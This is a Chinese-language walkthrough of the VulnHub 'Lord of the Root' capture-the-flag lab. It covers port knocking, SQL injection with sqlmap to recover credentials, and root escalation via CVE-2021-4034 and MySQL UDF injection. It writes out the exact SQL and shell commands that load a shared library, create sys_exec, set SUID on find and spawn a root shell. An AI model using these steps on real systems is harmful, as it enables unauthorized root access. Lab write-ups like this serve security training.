vulnhub-LordOfTheRoot
https://www.vulnhub.com/entry/lord-of-the-root-101,129/
本机 10.0.2.4
靶机 10.0.2.15
靶机是桌面版ubuntu,提示了登录用户名 smeagol
namp扫描,发现只有22端口开放。使用ssh连接,发现:
端口敲震
根据提示,使用端口敲震:knock 10.0.2.15 1 2 3
。再用扫描器扫描,发现打开了1337 端口
访问首页,发现什么都没有。然后将用户名作为路径访问
得到 THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
,base64解码得 Lzk3ODM0NTIxMC9pbmRleC5waHA=
,再解码得 /978345210/index.php
无法通过这个登录框枚举用户名
sql注入
使用slqmap爆破,得到数据库 Webapp 表 User
使用 smeagol:MyPreciousR00t
登录后web界面发现没有信息。使用其可登录ssh
登陆后查看信息
提权 cve-2021-4034
使用 cve-2021-4034 直接提权至root
CVE-2021-4034 polkit(pkexec)提权漏洞复现 - 腾讯云开发者社区-腾讯云 (tencent.com)
http://cloud.tencent.com/developer/article/1945253
udf 提权
mysql以root用户身份启动
获得mysql密码
mysql -uroot -pdarkshadow
登录mysql,发现可以udf提权
在kali找到udf.so
上传至靶机 scp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so scp://smeagol@10.0.2.15//home/smeagol/udf.so
这个so文件有两个可以用于执行shell命令的函数
# 通过将so文件写入数据库中,再写入mysql的插件目录
use mysql;
create table udf(udf longblob);
insert into udf values (load_file('/home/smeagol/udf.so'));
select * from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建自定义函数(user defined function)
# 此处sys_exec由so文件提供,不同so文件应使用相对应的函数名。
# 此处还可以使用`sys_eval`,有的so文件应使用 `do_system`
create function sys_exec returns string soname 'udf.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;
进入root目录,发现 Flag.txt 文件。
还有一个switcher.py,其是随机交互三个文件的位置
#!/usr/bin/python
import os
from random import randint
targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
os.system("rm "+t+"*")
os.system("cp -p other "+t)
os.system("cp -p "+t+"other "+t+"file")
os.system("rm "+t+"other")
luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")
查看文件发现:
原来本意是让我们使用缓冲区溢出提权
PWN